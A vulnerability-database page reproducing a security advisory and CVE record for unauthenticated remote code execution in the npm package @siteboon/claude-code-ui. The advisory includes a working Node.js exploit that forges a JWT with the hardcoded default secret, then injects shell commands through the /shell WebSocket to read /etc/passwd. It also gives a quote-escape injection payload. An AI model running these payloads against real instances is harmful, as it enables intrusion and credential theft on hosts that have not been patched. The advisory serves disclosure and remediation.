GHSA-GV8F-WPM2-M5WR

Vulnerability from github – Published: 2026-03-11 00:37 – Updated: 2026-03-11 20:58

Summary

@siteboon/claude-code-ui Vulnerable to Unauthenticated RCE via WebSocket Shell Injection

Details

Security Advisory: Insecure Default JWT Secret + WebSocket Auth Bypass Enables Unauthenticated RCE via Shell Injection

Download: cve_claudecodeui_submission_v2.zip

 Submission Info

Field	Value
Package	`@siteboon/claude-code-ui`
Ecosystem	npm
Affected versions	`<= 1.24.0` (latest)
Severity	Critical
CVSS Score	9.8
CVSS Vector	`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H`
CWE	CWE-1188, CWE-287, CWE-78
Reported	2026-03-02
Researcher	Ethan-Yang (OPCIA)

Summary

Three chained vulnerabilities allow unauthenticated remote code execution on any claudecodeui instance running with default configuration. No account, credentials, or prior access is required.

The root cause of RCE is OS command injection (CWE-78) in the WebSocket shell handler. Authentication is bypassed by combining an insecure default JWT secret (CWE-1188) with a WebSocket authentication function that skips database user validation (CWE-287).

Vulnerability Details

1. Insecure Default JWT Secret — `CWE-1188`

File: server/middleware/auth.js, line 6

const JWT_SECRET = process.env.JWT_SECRET || 'claude-ui-dev-secret-change-in-production';

The server uses an environment variable for JWT_SECRET, but falls back to a well-known default value when the variable is not set. Critically, JWT_SECRET is not included in .env.example, so the majority of users deploy without setting it, leaving the fallback value in effect.

Since this default string is published verbatim in the public source code, any attacker can use it to sign arbitrary JWT tokens.

2. WebSocket Authentication Skips Database Validation — `CWE-287`

File: server/middleware/auth.js, lines 82–108

authenticateWebSocket() only verifies the JWT signature. It does not check whether the userId in the payload actually exists in the database — unlike authenticateToken() which is used for REST endpoints and does perform this check:

// authenticateWebSocket() — VULNERABLE
const decoded = jwt.verify(token, JWT_SECRET);
return decoded;  // ← userId never verified against DB

// authenticateToken() — CORRECT (REST endpoints)
const decoded = jwt.verify(token, JWT_SECRET);
const user = userDb.getUserById(decoded.userId);  // ← DB check present
if (!user) return res.status(401)...

A forged token with a non-existent userId passes WebSocket authentication, bypassing access control entirely.

3. OS Command Injection via WebSocket Shell — `CWE-78`

File: server/index.js, line 1179


shellCommand = `cd "${projectPath}" && ${initialCommand}`;

Both projectPath and initialCommand are taken directly from the WebSocket message payload and interpolated into a bash command string without any sanitization, enabling arbitrary OS command execution.

A secondary injection vector exists at line 1257 via unsanitized sessionId:

shellCommand = `cd "${projectPath}" && claude --resume ${sessionId} || claude`;

Proof of Concept

Requirements: Node.js, jsonwebtoken, ws

import jwt from 'jsonwebtoken';
import WebSocket from 'ws';

// Step 1: Sign a token with the publicly known default secret
const token = jwt.sign(
  { userId: 1337, username: 'attacker' },
  'claude-ui-dev-secret-change-in-production'
);

// Step 2: Connect to /shell WebSocket — auth passes because
//         authenticateWebSocket() does not verify userId in DB
const ws = new WebSocket(`ws://TARGET_HOST:3001/shell?token=${token}`);

ws.on('open', () => {
  // Step 3: initialCommand is injected directly into bash
  ws.send(JSON.stringify({
    type: 'init',
    projectPath: '/tmp',
    initialCommand: 'id && cat /etc/passwd',
    isPlainShell: true,
    hasSession: false
  }));
});

ws.on('message', (data) => {
  const msg = JSON.parse(data);
  if (msg.type === 'output') process.stdout.write(msg.data);
});

Actual output observed during testing:

uid=1001(user) gid=1001(user) groups=1001(user),27(sudo)
ubuntu
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...

Secondary vector — `projectPath` double-quote escape injection

ws.send(JSON.stringify({
  type: 'init',
  projectPath: '" && id && echo "pwned" # ',
  provider: 'claude',
  hasSession: false
}));
// Server executes: cd "" && id && echo "pwned" # " && claude
// Output: uid=1001... / pwned

Additional Findings

CWE	Location	Description
CWE-306	`server/routes/auth.js:22`	`/api/auth/register` requires no authentication — first caller becomes admin
CWE-942	`server/index.js:325`	`cors()` with no options sets `Access-Control-Allow-Origin: *`
CWE-613	`server/middleware/auth.js:70`	`generateToken()` sets no `expiresIn` — tokens never expire

Impact

Any claudecodeui instance accessible over the network where JWT_SECRET is not explicitly configured (the default case, as it is absent from .env.example) is vulnerable to:

Full OS command execution as the server process user
File system read/write access
Credential theft (SSH keys, .env files, API keys stored on the host)
Lateral movement within the host network

The attack requires zero authentication and succeeds immediately after default installation.

Remediation

Fix 1 — Enforce explicit JWT_SECRET; remove insecure default

// server/middleware/auth.js
const JWT_SECRET = process.env.JWT_SECRET;
if (!JWT_SECRET) {
  console.error('[FATAL] JWT_SECRET environment variable must be set');
  process.exit(1);
}

Also add JWT_SECRET= to .env.example with a clear instruction to set a strong random value.

Fix 2 — Add DB user existence check in WebSocket authentication

const authenticateWebSocket = (token) => {
  if (!token) return null;
  try {
    const decoded = jwt.verify(token, JWT_SECRET);
    const user = userDb.getUserById(decoded.userId); // ← add
    if (!user) return null;                          // ← add
    return user;
  } catch (error) {
    return null;
  }
};

Fix 3 — Replace shell string interpolation with spawn argument array

// Instead of:
const shellProcess = pty.spawn('bash', ['-c', `cd "${projectPath}" && ${initialCommand}`], ...);

// Use:
const shellProcess = pty.spawn(initialCommand.split(' ')[0], initialCommand.split(' ').slice(1), {
  cwd: projectPath  // pass path as cwd, not shell string
});

Fix 4 — Additional hardening

Add expiresIn: '24h' to generateToken()
Restrict CORS to specific trusted origins
Rate-limit and restrict /api/auth/register to localhost on initial setup

Timeline

Date	Event
2026-03-02	Vulnerabilities discovered and verified via PoC
2026-03-02	Private advisory submitted to maintainer
2026-06-01	Public disclosure (90-day deadline)

Researcher

Ethan-Yang — OPCIA

Severity ?

8.7 (High)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.24.0"
      },
      "package": {
        "ecosystem": "npm",
        "name": "@siteboon/claude-code-ui"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.25.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-31975"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1188",
      "CWE-287",
      "CWE-78"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-11T00:37:25Z",
    "nvd_published_at": "2026-03-11T18:16:27Z",
    "severity": "HIGH"
  },
  "details": "# Security Advisory: Insecure Default JWT Secret + WebSocket Auth Bypass Enables Unauthenticated RCE via Shell Injection\nDownload: [cve_claudecodeui_submission_v2.zip](https://github.com/user-attachments/files/25686652/cve_claudecodeui_submission_v2.zip)\n\n## \uf4cb Submission Info\n\n| Field | Value |\n|-------|-------|\n| **Package** | `@siteboon/claude-code-ui` |\n| **Ecosystem** | npm |\n| **Affected versions** | `\u003c= 1.24.0` (latest) |\n| **Severity** | Critical |\n| **CVSS Score** | 9.8 |\n| **CVSS Vector** | `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H` |\n| **CWE** | CWE-1188, CWE-287, CWE-78 |\n| **Reported** | 2026-03-02 |\n| **Researcher** | Ethan-Yang (OPCIA) |\n\n---\n\n## Summary\n\nThree chained vulnerabilities allow **unauthenticated remote code execution** on any\nclaudecodeui instance running with default configuration. No account, credentials, or\nprior access is required.\n\nThe root cause of RCE is **OS command injection (CWE-78)** in the WebSocket shell\nhandler. Authentication is bypassed by combining an insecure default JWT secret\n**(CWE-1188)** with a WebSocket authentication function that skips database user\nvalidation **(CWE-287)**.\n\n---\n\n## Vulnerability Details\n\n### 1. Insecure Default JWT Secret \u2014 `CWE-1188`\n\n**File**: `server/middleware/auth.js`, line 6\n\n```javascript\nconst JWT_SECRET = process.env.JWT_SECRET || \u0027claude-ui-dev-secret-change-in-production\u0027;\n```\n\nThe server uses an environment variable for `JWT_SECRET`, but falls back to a\nwell-known default value when the variable is not set. Critically, `JWT_SECRET` is\n**not included in `.env.example`**, so the majority of users deploy without setting it,\nleaving the fallback value in effect.\n\nSince this default string is published verbatim in the public source code, any attacker\ncan use it to sign arbitrary JWT tokens.\n\n---\n\n### 2. WebSocket Authentication Skips Database Validation \u2014 `CWE-287`\n\n**File**: `server/middleware/auth.js`, lines 82\u2013108\n\n`authenticateWebSocket()` only verifies the JWT **signature**. It does **not** check\nwhether the `userId` in the payload actually exists in the database \u2014 unlike\n`authenticateToken()` which is used for REST endpoints and does perform this check:\n\n```javascript\n// authenticateWebSocket() \u2014 VULNERABLE\nconst decoded = jwt.verify(token, JWT_SECRET);\nreturn decoded;  // \u2190 userId never verified against DB\n\n// authenticateToken() \u2014 CORRECT (REST endpoints)\nconst decoded = jwt.verify(token, JWT_SECRET);\nconst user = userDb.getUserById(decoded.userId);  // \u2190 DB check present\nif (!user) return res.status(401)...\n```\n\nA forged token with a non-existent `userId` passes WebSocket authentication,\nbypassing access control entirely.\n\n---\n\n### 3. OS Command Injection via WebSocket Shell \u2014 `CWE-78`\n\n**File**: `server/index.js`, line 1179\n\n```javascript\n\nshellCommand = `cd \"${projectPath}\" \u0026\u0026 ${initialCommand}`;\n```\n\nBoth `projectPath` and `initialCommand` are taken directly from the WebSocket message\npayload and interpolated into a bash command string without any sanitization,\nenabling arbitrary OS command execution.\n\nA secondary injection vector exists at line 1257 via unsanitized `sessionId`:\n\n```javascript\nshellCommand = `cd \"${projectPath}\" \u0026\u0026 claude --resume ${sessionId} || claude`;\n```\n\n---\n\n## Proof of Concept\n\n**Requirements**: Node.js, `jsonwebtoken`, `ws`\n\n```javascript\nimport jwt from \u0027jsonwebtoken\u0027;\nimport WebSocket from \u0027ws\u0027;\n\n// Step 1: Sign a token with the publicly known default secret\nconst token = jwt.sign(\n  { userId: 1337, username: \u0027attacker\u0027 },\n  \u0027claude-ui-dev-secret-change-in-production\u0027\n);\n\n// Step 2: Connect to /shell WebSocket \u2014 auth passes because\n//         authenticateWebSocket() does not verify userId in DB\nconst ws = new WebSocket(`ws://TARGET_HOST:3001/shell?token=${token}`);\n\nws.on(\u0027open\u0027, () =\u003e {\n  // Step 3: initialCommand is injected directly into bash\n  ws.send(JSON.stringify({\n    type: \u0027init\u0027,\n    projectPath: \u0027/tmp\u0027,\n    initialCommand: \u0027id \u0026\u0026 cat /etc/passwd\u0027,\n    isPlainShell: true,\n    hasSession: false\n  }));\n});\n\nws.on(\u0027message\u0027, (data) =\u003e {\n  const msg = JSON.parse(data);\n  if (msg.type === \u0027output\u0027) process.stdout.write(msg.data);\n});\n```\n\n**Actual output observed during testing:**\n```\nuid=1001(user) gid=1001(user) groups=1001(user),27(sudo)\nubuntu\nroot:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\n...\n```\n\n### Secondary vector \u2014 `projectPath` double-quote escape injection\n\n```javascript\nws.send(JSON.stringify({\n  type: \u0027init\u0027,\n  projectPath: \u0027\" \u0026\u0026 id \u0026\u0026 echo \"pwned\" # \u0027,\n  provider: \u0027claude\u0027,\n  hasSession: false\n}));\n// Server executes: cd \"\" \u0026\u0026 id \u0026\u0026 echo \"pwned\" # \" \u0026\u0026 claude\n// Output: uid=1001... / pwned\n```\n\n---\n\n## Additional Findings\n\n| CWE | Location | Description |\n|-----|----------|-------------|\n| CWE-306 | `server/routes/auth.js:22` | `/api/auth/register` requires no authentication \u2014 first caller becomes admin |\n| CWE-942 | `server/index.js:325` | `cors()` with no options sets `Access-Control-Allow-Origin: *` |\n| CWE-613 | `server/middleware/auth.js:70` | `generateToken()` sets no `expiresIn` \u2014 tokens never expire |\n\n---\n\n## Impact\n\nAny claudecodeui instance accessible over the network where `JWT_SECRET` is not\nexplicitly configured (the default case, as it is absent from `.env.example`) is\nvulnerable to:\n\n- **Full OS command execution** as the server process user\n- **File system read/write** access\n- **Credential theft** (SSH keys, `.env` files, API keys stored on the host)\n- **Lateral movement** within the host network\n\nThe attack requires **zero authentication** and succeeds immediately after\ndefault installation.\n\n---\n\n## Remediation\n\n### Fix 1 \u2014 Enforce explicit JWT_SECRET; remove insecure default\n```javascript\n// server/middleware/auth.js\nconst JWT_SECRET = process.env.JWT_SECRET;\nif (!JWT_SECRET) {\n  console.error(\u0027[FATAL] JWT_SECRET environment variable must be set\u0027);\n  process.exit(1);\n}\n```\nAlso add `JWT_SECRET=` to `.env.example` with a clear instruction to set a strong random value.\n\n### Fix 2 \u2014 Add DB user existence check in WebSocket authentication\n```javascript\nconst authenticateWebSocket = (token) =\u003e {\n  if (!token) return null;\n  try {\n    const decoded = jwt.verify(token, JWT_SECRET);\n    const user = userDb.getUserById(decoded.userId); // \u2190 add\n    if (!user) return null;                          // \u2190 add\n    return user;\n  } catch (error) {\n    return null;\n  }\n};\n```\n\n### Fix 3 \u2014 Replace shell string interpolation with spawn argument array\n```javascript\n// Instead of:\nconst shellProcess = pty.spawn(\u0027bash\u0027, [\u0027-c\u0027, `cd \"${projectPath}\" \u0026\u0026 ${initialCommand}`], ...);\n\n// Use:\nconst shellProcess = pty.spawn(initialCommand.split(\u0027 \u0027)[0], initialCommand.split(\u0027 \u0027).slice(1), {\n  cwd: projectPath  // pass path as cwd, not shell string\n});\n```\n\n### Fix 4 \u2014 Additional hardening\n- Add `expiresIn: \u002724h\u0027` to `generateToken()`\n- Restrict CORS to specific trusted origins\n- Rate-limit and restrict `/api/auth/register` to localhost on initial setup\n\n---\n\n## Timeline\n\n| Date | Event |\n|------|-------|\n| 2026-03-02 | Vulnerabilities discovered and verified via PoC |\n| 2026-03-02 | Private advisory submitted to maintainer |\n| 2026-06-01 | Public disclosure (90-day deadline) |\n\n---\n\n## Researcher\n\n**Ethan-Yang** \u2014 OPCIA",
  "id": "GHSA-gv8f-wpm2-m5wr",
  "modified": "2026-03-11T20:58:52Z",
  "published": "2026-03-11T00:37:25Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/siteboon/claudecodeui/security/advisories/GHSA-gv8f-wpm2-m5wr"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-31975"
    },
    {
      "type": "WEB",
      "url": "https://github.com/siteboon/claudecodeui/commit/12e7f074d9563b3264caf9cec6e1b701c301af26"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/siteboon/claudecodeui"
    },
    {
      "type": "WEB",
      "url": "https://github.com/siteboon/claudecodeui/releases/tag/v1.25.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "@siteboon/claude-code-ui Vulnerable to Unauthenticated RCE via WebSocket Shell Injection"
}

CVE-2026-31975 (GCVE-0-2026-31975)

Vulnerability from cvelistv5 – Published: 2026-03-11 17:27 – Updated: 2026-03-12 14:05

Title

Cloud CLI WebSocket shell injection

Summary

Cloud CLI (aka Claude Code UI) is a desktop and mobile UI for Claude Code, Cursor CLI, Codex, and Gemini-CLI. Prior to 1.25.0, OS Command Injection via WebSocket Shell. Both projectPath and initialCommand in server/index.js are taken directly from the WebSocket message payload and interpolated into a bash command string without any sanitization, enabling arbitrary OS command execution. A secondary injection vector exists via unsanitized sessionId. This vulnerability is fixed in 1.25.0.

Severity ?

8.7 (High)


                        
                          CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

CWE

CWE-78 - Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

Assigner

GitHub_M

References

URL

Tags

	https://github.com/siteboon/claudecodeui/security…	x_refsource_CONFIRM
	https://github.com/siteboon/claudecodeui/commit/1…	x_refsource_MISC
	https://github.com/siteboon/claudecodeui/releases…	x_refsource_MISC

Impacted products

	Vendor	Product	Version
	siteboon	claudecodeui	Affected: < 1.25.0

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-31975",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-03-12T14:04:56.739217Z",
                "version": "2.0.3"
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          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/siteboon/claudecodeui/security/advisories/GHSA-gv8f-wpm2-m5wr"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "claudecodeui",
          "vendor": "siteboon",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 1.25.0"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Cloud CLI (aka Claude Code UI) is a desktop and mobile UI for Claude Code, Cursor CLI, Codex, and Gemini-CLI. Prior to 1.25.0, OS Command Injection via WebSocket Shell. Both projectPath and initialCommand in server/index.js are taken directly from the WebSocket message payload and interpolated into a bash command string without any sanitization, enabling arbitrary OS command execution. A secondary injection vector exists via unsanitized sessionId. This vulnerability is fixed in 1.25.0."
        }
      ],
      "metrics": [
        {
          "cvssV4_0": {
            "attackComplexity": "LOW",
            "attackRequirements": "NONE",
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            "privilegesRequired": "LOW",
            "subAvailabilityImpact": "NONE",
            "subConfidentialityImpact": "NONE",
            "subIntegrityImpact": "NONE",
            "userInteraction": "NONE",
            "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
            "version": "4.0",
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          }
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      ],
      "problemTypes": [
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          ]
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      ],
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        "discovery": "UNKNOWN"
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    "datePublished": "2026-03-11T17:27:06.111Z",
    "dateReserved": "2026-03-10T15:40:10.487Z",
    "dateUpdated": "2026-03-12T14:05:01.389Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

GHSA-GV8F-WPM2-M5WR

Security Advisory: Insecure Default JWT Secret + WebSocket Auth Bypass Enables Unauthenticated RCE via Shell Injection

 Submission Info

Summary

Vulnerability Details

1. Insecure Default JWT Secret — CWE-1188

2. WebSocket Authentication Skips Database Validation — CWE-287

3. OS Command Injection via WebSocket Shell — CWE-78

Proof of Concept

Secondary vector — projectPath double-quote escape injection

Additional Findings

Impact

Remediation

Fix 1 — Enforce explicit JWT_SECRET; remove insecure default

Fix 2 — Add DB user existence check in WebSocket authentication

Fix 3 — Replace shell string interpolation with spawn argument array

Fix 4 — Additional hardening

Timeline

Researcher

CVE-2026-31975 (GCVE-0-2026-31975)

Tags

Sightings

Nomenclature

1. Insecure Default JWT Secret — `CWE-1188`

2. WebSocket Authentication Skips Database Validation — `CWE-287`

3. OS Command Injection via WebSocket Shell — `CWE-78`

Secondary vector — `projectPath` double-quote escape injection